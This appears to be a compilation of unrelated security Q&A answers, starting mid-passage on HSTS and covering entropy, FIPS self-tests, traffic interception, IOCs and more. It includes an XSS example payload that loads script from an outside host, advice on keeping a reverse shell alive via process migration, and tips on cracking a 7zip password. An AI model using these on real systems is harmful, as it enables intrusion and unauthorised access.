  expiry time.  This would require the HSTS Host to send a newly
  calculated max-age value in each HTTP response.

So if a domain has used HSTS in the past, then in a situation where the HSTS max-age has not been changed previously, the earliest time when no client can be expected to rely on old HSTS data is the time of the last request that returned HSTS data, plus the time that was stated in that HSTS data at that time. If the HSTS max-age has been lowered, then these time periods form sliding windows; that which ends last is the earliest time when no client can be expected to rely on old HSTS data. This is a consequence of one of the requirements in section 8.1.1 (normative):

  A Known HSTS Host is "expired" if its cache entry has an expiry date
  in the past.  The UA MUST evict all expired Known HSTS Hosts from its
  cache if, at any time, an expired Known HSTS Host exists in the
  cache.

On any request, if the response is received over a secure transport and includes HSTS data, then as stated in section 8.1, the client UA must update its list of known HSTS hosts (normative):

  If /.../ the UA MUST [either]: /.../

  Update the UA's cached information for the Known HSTS Host if
  either or both of the max-age and includeSubDomains header field
  value tokens are conveying information different than that already
  maintained by the UA.

  The max-age value is essentially a "time to live" value relative
  to the reception time of the STS header field.

As a consequence, turning on HSTS is effectively a promise to keep offering valid HTTPS for no less than the duration of the max-age HSTS parameter, counting from the moment of the response.

As a further consequence, there is no fixed "expiration" date and time for HSTS data unless the server uses the "fixed point in time" approach described non-normatively in the RFC.


As @Rook says, a good starting point is the kernel source code itself, precisely the drivers/char/random.c file. It begins with a long description (as comments), including this passage:

  Sources of randomness from the environment include inter-keyboard
  timings, inter-interrupt timings from some interrupts, and other
  events which are both (a) non-deterministic and (b) hard for an
  outside observer to measure.

The principal workhorse for the entropy gatherer is the add_interrupt_randomness() function, that is meant to be invoked for each (or at least most) interrupts. An interrupt is the main method by which a piece of hardware makes it known to the CPU that it has changed state, e.g. that some new data is available, or, similarly, that the hardware is ready to process new data from the CPU. E.g. you will get an interrupt every time you press or release a key, or move the mouse, or receive a network packet. You will also get interrupts from the timer, and from a lot of other sources. "Entropy" is obtained mostly by measuring the exact time at which the interrupt is received: modern CPU have a cycle counter that can be used to get a notion of time down to the nanosecond precision (precision, not accuracy, but that's good enough here). The type of interrupts are also included in the mix, but most of the entropy comes from these cycle counts.

Remember that "entropy" can be defined as "that which the attacker does not know". Through external measures and simulation, the attacker can get some notions of what occurs and when in the kernel, but within some limits. For instance, the attacker may measure the time of arrival of a network packet down to the microsecond; he will still miss 10 bits of entropy if the kernel measures that time down to the nanosecond.

Apart from interrupts, other kernel parts (e.g. device drivers) can push extra data into the pool by calling add_input_randomness(), in case such drivers have access to data that is considered "random" in some way (precisely, in a way that attackers cannot guess).

From userland, you can also push data manually by writing into /dev/random. One good source would be pictures from a webcam: that's a lot of data with a lot of thermal noise. Linux distributions use this "external entropy push" possibility to maintain entropy across reboots: when the machine boots, it injects a "seed file" that it then immediately recreates from /dev/urandom. Therefore, one big source of entropy for /dev/random is entropy obtained from previous incarnations of /dev/random (before the last boot).


Since you mention OpenSSL, I am only considering libraries that are compiled into machine code.  Some of it may be relevant to higher level libraries (also called modules), e.g. python or java bytecode, but not all.

How to validate the integrity of a library at run time?

FIPS 140 states several POST (Power-On Self-Test) tests that needs to be performed, and that is a pretty decent way of validating a library at runtime.  Note that such a library assumes that you are loading a FIPS validated library in the first place, therefore you are confident that what you have on disk (before loading) is the correct (validated) library.  Let's go through a couple of attack vectors:

You may download a different library than you intended.  i.e. an attacker did tamper with your connection and gave you his library instead of the FIPS validated one (or instead of a library validated/trustful in another way).  This can be prevented by signing the library and verifying the signature with a key obtained by another channel.  This is also a valid mitigation technique to obtain sources code for a library.
Someone may tamper with the library on disk.  To protect against that you first have operating system permissions, and second you can maintain a checksum of the library in a different location (not on the same machine since an attacker could tamper with the checksum as well).
An attacker may tamper with the library that is already in memory of the process.  POSTs protect against this to certain extent.  POSTs that are executed only once will protect only against tamper during the memory loading, but you can run POSTs from time to time to ensure that no tamper is happening.

As a result, the library needs to be loaded at a fixed base address to execute the validation.
It can very well be the case that the base address that the library wants to be loaded at is already in use by some other program.

Not at all, POSTs are normally part of the library code.  They're just like tests but they're part of the code of the library itself.  On a modern OS a shared library will use PIC (Position Independent Code) which will ensure that all jumps are in relative positions.
Moreover, all modern OSes perform memory mapping for each process therefore the same memory location in two processes rarely correspond to the same place in the virtual memory (which in turn rarely correspond to physical memory, yes there is a minimum of two mappings in a typical OS).
Making a checksum of a memory location inside another process is kind of silly.  The location may be in memory pages that are not continuous and you will need to find the order of them and replicate it.  Something that the kernel is already doing for you (the kernel has the map of that process memory into the memory pages).  Therefore the best place to perform the checksum is inside the process that is loading the library, and since you may want to make that checksum from several processes that load that library the best place to put that code is inside the library!  Ooops, that turns out to be a Power-On Self-Test (a POST).
You mention OpenSSL, OpenSSL has its own set of POSTs already built-in, see below:

OpenSSL FIPS

The OpenSSL FIPS module (the OpenSSL that has been FIPS validated) has several POSTs.  Yet OpenSSL is a very peculiar FIPS verified library, it probably is the only FIPS verified library that comes in source code form.
The user manual for the FIPS OpenSSL (see the references below) has an entire chapter (chapter 4) about obtaining and building OpenSSL so that it can be considered FIPS verified.  Interestingly, it covers some of the attack vectors noted at the beginning of the answer.  Assuming you got a FIPS verified OpenSSL you now need to call:
FIPS_mode_set()

Once the library loads.  This performs several POSTs, and only after you run this you can consider the FIPS OpenSSL to be a FIPS verified library.  These are several POSTs that verify the OpenSSL during runtime, the POSTs are described in section 6.3 of the user manual.  Moreover, since OpenSSL comes in source form, you can be also look at the POSTs in the code.
References:

User Guide for the OpenSSL FIPS module v2.0


Is this a security flaw in LinkedIn or a known behaviour

You and LinkedIn are talking about two different things.

You found a way to use an unlock function in their code to unlock any course you want
LinkedIn knows and is willing to take the risk

You want them to take the "bug" seriously. They want to take the risks seriously.

Is this a "bug"? No, a bug is an undesired or unintended function of the system. They know about this function's effects and have told you that they accept it and have means to limit their risks that you do not know about.

There is nothing wrong with this response.

Is this a "feature or expected behaviour"? No, it's an effect of their design choices. It does not (necessarily) provide them or their users a benefit and it might not have been designed to have this effect. It's a consequence of their design.

System effects can have negative impacts, positive impacts, or neutral impacts. For LinkedIn, they see this behaviour of the system as a neutral impact.

You are seeing that something bad could happen. They are seeing that the bad is tolerable and not worth the re-engineering of their system to change it.


You could turn your python scripts into windows executables using py2exe. That way it would be treated the same way you restrict other system binary. Be aware that it is possible to reverse-engineer by "uncompiling" it, showing the script functions and all. But as your question in only about enforcing execution authorization, i think that it will fulfill your need.


Installing Joomla with nobody:nobody user/group (CentOS/cPanel)

Some daemons traditionally use nobody, so that if they are comprimised, the access they have is limited.  If you start assigning files to the nobody user, then if you do have a daemon running as that user, and it was comprimised in some way, then the attacker could potentially gain access to the files.  Given that the files are a website, and Joomla configuration files contain the database details in plaintext, this could be pretty disastrous for you.

It doesn't seem like a good idea to me, even if daemons that run as nobody are rarer nowadays - the idea of user per daemon allows for greater security against daemons communicating with each other spuriously.


Can the user of an app see what's in the https packets?

I don't quite understand what is your usage model where the security depends on the user of the app itself not able to know the HTTPS traffic.

But I believe if your app has no certificate pinning built in, and your client do not properly check the TLS connection (similar to how an end user click "Add Exception..." when the browser complains "This Connection is Untrusted"), the user can simply install a proxy (such as Burp) in the middle to intercept the traffic.


Pitfalls when rolling your own "show password" functionality

Does placing a plaintext password in a text input run the risk of the password being scraped by malicious plugins?

Malicious plugins can scrape any form data, password fields included, or even log it before it is being written. So changing the type makes no difference here.

In general, there is no point in trying to defend against malicious browser plugins. If your user has one, it's game over.

  Specifically, do modern browsers implement any security mechanisms around password-type inputs besides the visual obfuscation using dots?

Password fields have autocomplete turned off by default. To prevent the browser from saving the password and potentially leaking them as suggestions later, you must make sure to explicitly set autocomplete="off" on the input field. This should deal with both suggestions while typing, and autofilling previous state e.g. when using the back button.

There might be older browsers who ignores autocomplete="off" - who knows, browsers used to do all sorts of stupid things - but I doubt that is a large percentage. Still, could be an issue.

The presence of a password field makes some browsers warn more aggressively about unencrypted connections. So using text fields instead could mute the warnings, which is bad. But if you are using TLS with HSTS that shouldn't be an issue.

Also, it might mess with password managers (both the browsers built in, and external). But that is more a usability than a security issue.

  Does the above link reflect the current industry best practice for this kind of functionality?

Aside from the autocomplete issue, I think this would be fine as long as you are OK with the inherent risk of shoulder surfing. Who knows what I have overlooked, though.

Since you say "industry best practice" I have to mention that manipulating the DOM directly like that isn't really how it's usually done anymore, but that has nothing to do with security.

To be honest though, I have to admit that I am no big fan of this functionality. It feels a bit hacky. I would recommend against implementing it unless you have very specific reasons to do so. That is based more on my gut feeling (and a general aversion to non essential features) than anything else, though.


sniffed packets , is there a way to put together the file?

Capturing packets already produces an output file (a capture file, actually) which includes packet contents, timing information, headers, etc. If you want to separate these packets into individual streams, a program like wireshark can do the appropriate searching and filtering for you. It can even decrypt SSL/TLS traffic if you have the certificate key.

If all you want to do is separate out the contents of individual TCP streams, a program called tcpflow will do that for you. Note that doing so discards a lot of useful data, including timing, headers, etc. But it can be very useful if you have a lot of traffic you'd like to grep. And on the subject of grepping traffic, have a look at ngrep to search traffic contents real-time.

And this barely scratches the surface of network interception, analysis, modification, and related tools.


Redeploying multiple Secure sites on a single server

You need to do a risk assessment for each site. and consider likelihood as well as consequences. It could be that some of your sites have a much higher likelihood than others. If this is the case, you could consider slightly modified approaches, such as keeping the high risk sites on their own system and only putting the lower risk ones on the shared system. While this may still result in higher maintenance than a single system, it may be less maintenance than 10 separate systems and may provide the efficiency you need.

Once you have a good risk assessment and have identified your proposed architecture, you then need to look at ways you can mitigate the risk. This includes not only putting controls in place that reduce the likelihood of a breech, but also controls which will reduce the impact i.e. make it less catastrophic. for example, frequency of backups, use of snapshots or any other technique which will make it easier to recover should a breech occur.

Once you have done all other this, then you can make the call as to whether the resudual risks are acceptable or not. This assessment needs to include your abiity to maintain whatever solution you decide upon.  Essentially, your challenge isn't a purely technical one. Nobody can say that a single server is good or bad without also having information on the risks associated with each site.


SIM card used with smart card user certificate

The SIM Card is not able to fulfill the requests sent to it when trying to place a certificate on it. The required commands are not available. Most (nearly all) SIM-Cards are not able to be extended in functionality either.


DNS can be a point of attack, yes.  DNS exists because remembering something like 198.51.100.36 is significantly harder to remember than Lamouette.com.  If you want to give it a go, more power to ya but I'd caution that if it's a public web presence you're after, your visitors will not appreciate having to use your IP address over your domain name.

And if you cut your SSL cert with the IP address but you publicize your domain name for use, your users will get ugly messages from modern browsers claiming that the details of the SSL certificate (based on IP) do no match the value your visitors are using:  Lamouette.com.

So while it technically is more secure, it's functionally unusuable for an internet presence.  More power to ya though if you decide to try and buck the system.


This is a scam, you have done the right thing to cancel your debit card,  if you have given them any other bank details, tell your bank.

The only safe assumption is that your machine is compromised, it possibly has a remote access tool installed they can take advantage of in future and may have keyloggers installed.

You should wipe and reinstall your machine.  Although most of these scams just want the cash, you can't be sure what they have done and should err on the side of caution.

I would advise you to change any password you have entered on your computer since the call and enable two factor authentication on any account you can.


I assume I have an answer.

You need to perform a dictionary attack.. Kind of..

The problem is you generally need a hash. If you have one, but I doubt it, then I will give you the answer in an instance. But I doubt you have that in your case. You might need a program specialized for 7zip like  7zCracker.

Again, a standard Dictionary Attack software might not help you in your specific task, but in the end that's what 7zCracker will do, it will just check for success in a different way.

I am no pro, so I apologize  for any mistakes or inconsistencies. Give it a shot with 7zCracker and tell us how it went.


Just because you had not set a password, that does not mean that your account could be accessed. Without seeing the code, I cannot be sure, but it is possible that you could not log in to your account until you used the link in the email to set the password. You were still using the same session ID while you continued to use the site.


Can someone using (the Join Me) screen sharing software use it to access my PC's files?

While we frequently say that people "steal" your files, we really mean that they copy them. So, if the remote desktop user wanted to just get your data, they wouldn't have copied then deleted your files, they just would have copied them.

Furthermore, join.me does not allow for simple copy-and-paste file copying. Copying files is an interactive process that requires you to initiate the process.

What I suspect happened is that you or the remote desktop user accidentally dragged your folder across the desktop. This happens frequently in Windows. When you noticed that the folder wasn't where it was, you thought it disappeared. Later you found where it was on your desktop (this place may have been covered by a window making it impossible to see) and thought it had reappeared. The same thing has happened to me many times.

So, unless the remote user knows of some still unpublished, critical vulnerability in join.me, I think you're just fine.


Allow setting both server URL and public key - security hole?

Short answer: Yes, if someone builds their own license server and override the public key, it sounds like they should be able to use your software without paying for a license. They don't even need the URL setting for that.

The somewhat longer answer:

If I understand correctly, the client validates the signature against a public key which is shipped in the software (and subsequently allowed to be overridden). It sounds like the software has some isAnswerSignatureCorrect() method, which could be easily altered to always return true. This is what the early days of software cracking was all about.

One can also run a local webserver, redirect the license server host to localhost and crack the software, you wouldn't even need to override the URL in the config.

What I'm trying to say here: if your audience is willing to go so far as building their own license server that would return the correct XML structure to crack their license, then the current method you are using is not going to hold up very long.

  Overriding the public key is to handle the case where our private key becomes known and we have to change it.

If you fear of that happening, you should think about addressing that first. Store your key in a HSM, have it sign the response. If a 'real' HSM is too expensive, take a look at Yubico products.

If you fear losing access to the private key, consider generating a second key and ship the public key of both.

  Overriding the URL would be used for letting customers test our new license server.

Consider shipping the software with a hardcoded list of allowed servers. Or add a route/header/urlparam to the request of the current license server host to allow the request to be handled by a new system without having to change hosts.

You could use public key pinning to make sure the application only communicates with a server that serves a certificate owned by your organisation.


Short version: IOC basically are any piece of data that can be considered unsual on a system or network that could serve as a fingerprint of an attack or maybe an infection.

Example:
One of the ways malware writers establish persistence within an infected host is through registry changes.

Imagine that malware.exe ALWAYS create a folder in C:\Tmp\WindowsAdmin666, so, if you have that folder, this could mean that you're infected, this is an IOC (Suspicious Registry Or System File Changes).

Long version:
As "Digital Guardian" says, Indicators of compromise (IOCs) are “pieces of forensic data, such as data found in system log entries or files, that identify potentially malicious activity on a system or network.”

Indicators of compromise aid information security and IT professionals in detecting data breaches, malware infections, or other threat activity. By monitoring for indicators of compromise, organizations can detect attacks and act quickly to prevent breaches from occurring or limit damages by stopping attacks in earlier stages.

Indicators of compromise act as breadcrumbs that lead infosec and IT pros to detect malicious activity early in the attack sequence. These unusual activities are the red flags that indicate a potential or in-progress attack that could lead to a data breach or systems compromise. But, IOCs are not always easy to detect; they can be as simple as metadata elements or incredibly complex malicious code and content samples. Analysts often identify various IOCs to look for correlation and piece them together to analyze a potential threat or incident.

Examples of IOC include unusual network traffic, unusual privileged user account activity, login anomalies, increases in database read volume, suspicious registry or system file changes, unusual DNS requests and Web traffic showing non-human behavior. These and other unusual activities allow security teams monitoring the systems and networks to spot malicious actors earlier in the intrusion detection process.

If theory was confusing, then a good example might help to understand IOC, this document is from SANS: Using IOC (Indicators of Compromise) in Malware

Hope this helps.


WhatsApp: Someone makes screenshots of a friends chat. Can I help them?

Edit for compression:

Possibilities:

There are too many possible ways for intrusion in this non-detailed situation, therefore the question is not really answerable.

The possibilities range from firmware-os level infection, till disguised apps, or vulnerabilities in the app or encryption processes. Also wifi hacking is possible even if not probable.
This needs a lot of time and testing to find it out, what very likely noone will do do for free for a stranger.

Explanation:

Many hardware come nowadays with preinstalled backdoor firm-software, which are exploitable by anyone the day you start it up first time. If it was not the case, there are many other possibilities to infect it later, even imposing the malware as part of the system/app. There are other ways to work around encryption too.

Tips:

Average users definitely need help from professionals if they wish to have a secure/private digital communication or they need personalized help.
Not even an IT professional may help, since they might be are motivated by money or limited by local law.
The best way is to understand, that if you are not a security professional, your digital life is definitely not secure. Noone should live in false sense of security.

Achieving high level of security needs a lot of personal work and knowledge, if you do not trust others, and you should start being interested in open source hard-firm- and software, encryption, hidden and decentralized services. Not even those are going to protect you from organized criminals for sure.


Is an IP address blacklist good practice to prevent website attacks?

I would say not to bother blacklisting IP's too much:

There are too many False Positives, since there are many situations of shared IP's - proxies, workplace, ISP's using roving DHCP, etc.
It is too easy to get around it. A real bad guy will just get a different IP, if she really wants to attack you.

I would suggest a "gray-list" of IP addresses, i.e. if you recognize bad traffic you "keep an eye" on those addresses.


There is a variation of TLS that uses a Pre-Shared Key instead of certificates, called TLS-PSK. This basically works the same way as usual TLS except the session key is generated in a different way. You should take a look at this.


What type of captcha will you recommend?

There is no 100% secure protection.

All captchas can be cracked. Did you know for instance that there are firms in India which specialize in offering manforce to crack captchas?

There are also tricks like embedding your captchas as frames into other pages which invite their users to solve it to get access to interesting pictures.

I suggest you relax and make it simple. Try the following options one by one.

Integrate with Akismet service
Change the POST Url for your pages to something different. Bots will usually post to the same page Url, and if you won't accept such sumbissions it will keep bots out.
Add a honeypot solution
If 1, 2, 3 fail, add a captcha


OpenSSL can do CSR's: OpenSSL: Documents, req(1)


How hackers manage to run javascript code in webform

As a quick search on GitHub can tell, using eval is not that rare, it's actually pretty common. But eval is not the only way to inject code.

XSS is a common vector. If you have a form asking for the user name, and you print the result later, unescaped, a user named <script src='doma.in/scr.js'></script> can inject code.

Using the development tools, you can inject whatever you want. You can pause execution, inspect variables, create and delete objects, all you want. If javascript can do it, you can do it. If CSS can do it, you can do it.

The main issue is that developers often forget that the browser is on the attacker's domain. Anything you put on Javascript can be subverted. You can heavily obfuscate the code, but this cannot defend against a dedicated attacker.

I have seen sites using Javascript on the client for authentication. You can tell how bad this is...

Javascript aside, server-side languages (PHP, Python, ASP, JSP and the like) suffer from this too. Just search for Command Injection (OWASP has a good page about it) and you will find a lot of ways.


How can I safely store a password in a .class file?

You cannot.

If the application has to know the password, there is no way to store it safely, unless you ask a user at run time for a master password. Because if the app can get it, an attacker could do the same either directly if it is stored in clear text or with reverse engeneering if it has been obfuscated.

The real question to ask is why an application should know a password? If is is interactive, it should ask it (or a master password used to decode an encrypted vault) to a user, and if it is not (a service or daemon), you should either rely on machine identification on a local controlled network, or accept that any person that has enough privileges to see the application files can know the password, and protect (including physical protection) the machine and account running the app.


Well, this regex is simple enough to be sure that you won't be able to inject any special character in your input. You won't be able to perform any XSS, unless there is another vulnerability elsewhere.


Box web application security review - legality?

Depends what kind of assessment you want to do.  Maybe you should change your title to indicate "Black Box" or "White Box" or both.  I've learned that vendors have a very loose definition of "security review" on their software so it is important to do your own assessment if you have the resources.

Code Review

The Vendor's code is theirs and you aren't allowed to decompile it without their permission.  Most vendors are not willing to share their source code.  All you can do is ask them for their report of their own internal source code review.

Static Application Assessment

There are ways to do security assessments without their decompiled code. Static code analysis like with Veracode is done on compiled code and the service never sees the source code.  It helps triage the results if you can see the source code, though.  Most often, I pass these results on to the vendor.
The best situation is if security assessments (static or dynamic) are written into the contract with the vendor, but it is legal to upload a compiled program to such a service.

Dynamic Web Application Assessment

A dynamic (black box) scan is totally allowed on an application in your environment and this should be your first step.


Is opening a new mysql connection for each query potentially unsafe?

It sounds to me like you're running into thread-safety issues.   The fix for this, as you've discovered, is to not re-use connections.

To your question specifically, no, there is no security risk in opening new connections each time you need to connect to the database.  You don't say what technology you're using (besides MySQL) but typically if you're following good coding practices such as only returning the data you need, and closing connections as soon as you're through with them, there should not be any significant increase in the risk of DoS attacks than when you re-use connections, and there may even be less by eliminating the threading issues you're seeing now.   Additionally, if whatever data provider technology you're using offers connection pooling, this can eliminate the performance impacts of creating new database connections almost entirely, making perf a non-issue.

So, yes, you should be spinning up a new database connection each time you need to access the database.  It's the safest option you have.


Google uses BSSID information from your WLAN Access Point to get an approximation of where you are located, even with GPS and WiFi turned off. Taken from “How does Google Maps estimate my location without GPS?”:

  Google and others like Apple and Skyhook build a Database which links WLAN BSSIDs to a geographic location. A BSSID is like the MAC address of a access point that gets broadcasted by that access point. It is therefore "public viewable" if the BSSID broadcast is enabled, which is the default for most access points. The BSSID operates on a lower layer as the IP stack, you don't even have to be connected to an access point to receive these broadcasts.

So, essentially, when you ARE using WiFi and GPS, Google's database of BSSIDs is updated with a geographic location associated with that BSSID, as you've assumed. In your case, your AP is sending beacons advertising its BSSID, and because it is already in Google's database, Google Maps knows where you are based on the location of that AP.

So it's not that the ISP is giving Google the location of their routers, it's that your phone has already helped to build a database of the Access Points around you, and Google uses this data for geolocation.

Sadly, even if you get a new router and keep any and all Android devices away from it, they will still be able to approximate your location based on the cell towers your phone connects with (or maybe even your neighbor's AP!), but it won't be nearly as accurate.

I saw in the comments questions about whether or not Android phones will receive location data even with WiFi turned OFF. The answer is, yes, absolutely they can. I'm sorry I didn't make that clearer. Better check your settings if you were unaware:

This "feature" has been included since Android 4.3, and prior versions of the Android OS do not include this feature. Thanks to martinstoeckli for this information.

Although turning off this "feature" on your phone seems like the best way to prevent your BSSID from being added to the database, this isn't necessarily the case.  You've got other people's phones, the phones of passers-by, and even Google's own Street View cars to contend with. Thanks to Bakuriu for pointing this out.

Though this may be the case, you can opt out of your involvement in this program by appending _nomap to the end of your SSID. Your SSID is the "name" of the network that you have chosen or have been given. For example, you connect to the SSID "Home" or "D-Link" for your WiFi at home. In order to opt out you would rename your network Home_nomap or D-Link_nomap. Thanks for the tip Andrea Gottardo. For more, refer to the Google Support article about opting out.


How can I protect my credit card on sites where 2FA is not an option?

There's nothing you can do. Because if it's actually you using the web site, then fraud is obviously not an issue. The 2FA only helps if someone else is using a web site pretending to be you, and so nothing that you do on web sites will make any difference. You can't stop a fraudster who has got hold of your card details from using them on a web site that doesn't use 2FA.


When using a shared / public VPN, can others on the same IP address log into your accounts?

... can others on the same IP address log into your accounts?

Authentication has nothing to do with the source IP address and thus with a shared use of a VPN - unless the authentication is explicitly done by source IP. For the common use cases you describe (Facebook login etc) the authentication is not done by IP address but by username and password and after that bound to a session cookie which itself is stored only in the specific browser.

This means that users sharing the same browser would be treated as the same but not users using the same VPN or otherwise using the same IP address (like all users behind the some home router). Even different users on the same computer would be different if they are using different accounts and thus different browser profiles.

  ... Can someone on the same VPN network tap your traffic and cookies, gaining access to your private accounts?

Sniffing the traffic is a different scenario from just sharing the IP address. For one, the VPN provider itself could of course sniff all the traffic. Usually sniffing between users in the VPN is not possible but a misconfiguration of the VPN could actually make this possible. Apart from that a VPN only provides protection from the local VPN entry to the VPN exit. Since the VPN exit is almost never the ultimate target attackers could sniff the traffic after the VPN exit too. Therefore you should use end-to-end encryption (i.e. HTTPS) to the target no matter if you use a VPN or not.


Generally in these types of situations, you want to spawn a child process for the shell, or migrate to another process(only possible in windows).

You can check out one way of doing this in the Metasploit module for process migration in windows: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/migrate.rb

A more general overview of the process: https://security.stackexchange.com/a/92893/113752

Hacking: The Art of Exploitation, though a bit dated, provides a good overview of spawning a child process in UNIX for a reverse shell in chapter 6: https://leaksource.files.wordpress.com/2014/08/hacking-the-art-of-exploitation.pdf

The book is considered to be somewhat of a classic in InfoSec literature, it is a very good read to get a feel for C and assembly if your starting out.


How relevant is the honeypot technique today?

One good way, to find what today's industry is using, it's to track reports as Magic Quadrant.

Magic Quadrant (MQ) refers to a series published by IT consulting firm Gartner of market research reports that rely on proprietary qualitative data analysis methods to demonstrate market trends, such as direction, maturity and participants.
(source)

So, what reports like MQ's saying about deception tools:

Gartner has predicted that now, in 2018, 10 percent of enterprises will already be using deception tools and tactics and actively participate in deception operations against attackers. They were spot-on accurate. (source)
Gartner believes that more lean-forward organizations should also leverage deception in-depth as a new strategy for comprehensive threat defense against the onslaught of advanced attackers and attack techniques. Product managers who help product marketing managers articulate the value of deception in their own products or integrations with other deception products can enhance their attractiveness, especially for larger organizations under constant threat, for example, the financial services, healthcare, government and software verticals.
(source)

To conclude, deception technologies is not only a growing technology, but it's been used by most biggest technology companies around.


Public / Private Key Cryptography for offline systems

You can programatically generate a symmetric key on every client, and generate the same key on the packaging server. Generate a keypair and distribute a single public key to each client.

When you generate a new package, encrypt it with the symmetric key, sign with your private key, and distribute. On the client side, check the signature with the public key, and if the package passes the check, use the generated symmetric key to decrypt.

If you don't need to create a unique package to each client, you can distribute the public key, and encrypt the package with your private key. Sign the resulting file and distribute. After receiving the file, the client checks the signature, and decrypts the file. Side effect is that every client can decrypt every package, but if the clients are offline and isolated from each other (or don't know each other), it should not be a big issue.


Is JQuery in chrome extension a security concern?

No, you don't have to worry about it.
Having jQuery in your extension doesn't pose any security risk. Javascript is used to run the code on the client-side of the browser if any malicious website wants to run JS on a system, they can embed it within their evil website itself;  They don't have to rely on an extension to provide jQuery to do malicious things.
As @pcalkins pointed out in the comment, the browser is sandboxed and even extensions cannot execute anything outside of that.


Best way to use http get with php server for mobile app

Edit:

In light of the new information (it's a mobile app, only requests from this app should be allowed) this post is updated. The old answer was removed as not relevant.

The OP wants so ensure that requests are sent from his mobile application and not some attacker defined program. This kind of assurance is normally achieved by digitally signing the requests using a certificate (public and private key) at the client side and using the public key at the server. If applied to the scenario of mobile applications, the certificate should be present in the application (shipped together or transmitted when the app is first used) in order for requests to be signed.

Now assume the attacker wants to craft his own messages to send to the server. For these requests to be accepted they need to be signed. To sign those messages he needs the private key that is contained in the app one way or another. The attacker downloads onto an attacker controlled device. Since the integrity of the mobile device can't be guaranteed (device may be rooted, emulated, ...) there is always a way of obtaining the certificate. The only thing you can do is trying to make this retrieval VERY hard. Obfuscating the application can help against static analysis but one also needs to make sure that the certificate is hard to find in memory at runtime.

To prove the difficulty of this problem, let's take Pokemon Go as an example. Within days of it's launch, someone had intercepted network traffic from the app to the server and wrote his own program (running on a desktop computer or laptop) that mimics the behaviour of the app (sending updates of the position of the player, throwing a pokeball, etc.) that automatically played Pokemon Go. This is known as a 'bot'. The developers releasef several updates to protect the requests (I assume they tried digital signing as well) but every time the attackers where able to reverse the logic and craft their own requests. The only thing that really worked was looking at patterns in the requests at the server side to detect that they were coming from a 'bot' instead of a legitimate mobile app. Things they will have used is timing of the requests (exactly 1 second apart), location of the player changing in certain patterns, etc. If a player was assumed to be cheating by using a bot, he got banned. Attackers responded to this by adding some randomisation to their requests to make the analysis harder. So it became a cat and mouse game between attackers and defenders. Pokemon Go also sent cease and desist letters to people they could identify as developer of the bots. This shows how powerless they were against the problem.


Is there a more secure way for users to log into the domain other than just passwords?

The EAP-TLS authentication mechanism deployment as described only proves that an authorised user is operating the device. This could be a certificate in the local user's profile, the computer's profile, or linked to a TPM. In the end though, once that authentication is done, the network can only assume all subsequent network traffic is authorised.

The attack you mention is conceptually the same as a person accessing an unlocked workstation to connect to a resource using stolen credentials. As far as the session is concerned, the authorised user is performing the action.

If you're talking about network (file sharing/remote administration) then locking that down with extended authentication mechanisms is very difficult. Blocking local console (RDP) access is as simple as firewalling that port to hosts that are strongly authenticated and network segregated.

The root of your troubles is the domain admin account's password. Good practice is to grant permissions only as required, and membership of Domain Admins is then restricted so that administrators are not members of that group in the normal course of work.

Should a function need to be performed with those privileges, a well-controlled process for granting those permissions temporarily will have more benefits than trying to augment Windows' authentication mechanisms.


There is lots of information about "bitcoin - anonymousity" on this site. I would recommend checking it out.
Cite from the website:

There are basically three ways to de-anonymize Bitcoin users.
First of all, even though Bitcoin transactions are randomly transmitted over the peer-to-peer network, this system is not airtight. If an attacker, for instance, has the means to connect multiple nodes to the Bitcoin network, the combined data collected from these different nodes might be enough to determine where a transaction originated.
Second, Bitcoin addresses can be linked to real identities if these real identities are used in combination with the Bitcoin addresses in some way. This includes addresses used to deposit or withdraw money to or from a (regulated) exchange or wallet service, publicly exposed donation addresses, or addresses simply used to send bitcoin to someone (including the online store) when using a real identity.
But perhaps most importantly, all transactions over the Bitcoin network are completely transparent and traceable by anyone. It's typically this complete transparency that allows multiple Bitcoin addresses to be clustered together, and be tied to the same user. Therefore, if just one of these clustered addresses is linked to a real-world identity through one or several of the other de-anonymizing methods, all clustered addresses can be.

Just as a side note:
There are registers of reported bitcoin-addresses being used in attacks. So if a company gets a DDos threat, they can check if the address have been used before. If it is, the DDos threat is most likely fake. Because there is no way for the owner of the bitcoin account to see who has paid. This is just an example in how bitcoins can be used proactive.


How do I know how a file got onto my computer?

Not reliably.

You can check FTP logs, IIS logs, and the event logs (for admin access at the time of file creation), but if it's malicious and the attacker wishes to cover their tracks then most of these files are easy to fake/corrupt etc.

The best way is to be preprepared and have an system that reacts to new files being create (usually in specific directories or with specific permissions). The system that detects this can then make a record of which services were running, incorruptible (possibly off-server) copies of logs, and which users/service-users were logged in at that time.

The only reliable way to check/monitor whether a file has been uploaded to your server is to make a record of the hashes of all files (of interest) on the server at a specific point in time, and then to compare the current files list, and their hashes, to see if a file has been uploaded (and is therefore a new file compared to the snapshot list) or if one has been changed (because the hash is different).

It's not enough to check file create/access/change times as applied by the operating system as these can be spoofed (faked) easily.

This is a lot of work, but there are file integrity tools out there - both open source and free, and commercial, that can help with the bookkeeping.

If you need to know today and you have no record of files and (for change detection) their hashes, then there is no reliable way to check for this. Checking for newly created files through a simple file search may work if it's not part of a sophisticated attack where the malicious attacker is trying to cover their tracks, but it's just not reliable.


A BIOS/EFI password can only be considered effective because of security by obscurity. An attacker can easily override the BIOS password with only keyboard and power button access with something like this, or via physical access to the internals of the PC.

What use is it, then? Well, it makes you feel secure, but it really only deters people who don't know how to bypass it, though all you really need is a key generator, and that's even open source. I mean, built-in backdoors with open-source key generators can't possibly be secure. It's only because it's not common knowledge that it still exists.

So it's not as much of a deterrent as a lock on the front door of a house, maybe more of a sign that says "beware of dog," since it doesn't really take much effort to bypass on most systems, but just like the sign, the thought of a cute poodle won't deter anyone who goes to the effort of trying to break in.

If you're already encrypting your hard drive and again your files, then that's about as secure as you can reasonably get. Even if there was no way to easily circumvent BIOS passwords, an attacker could easily swap hard drives to gain access to data, assuming they had physical access.


Are session keys just the symmetric keys?

The RFC for TLS does not contain or define the term Session Key. It simply says:

  The master secret is expanded into a sequence of secure bytes, which
  is then split to a client write MAC key, a server write MAC key, a
  client write encryption key, and a server write encryption key. Each
  of these is generated from the byte sequence in that order.  Unused
  values are empty. Some AEAD ciphers may additionally require a client
  write IV and a server write IV.

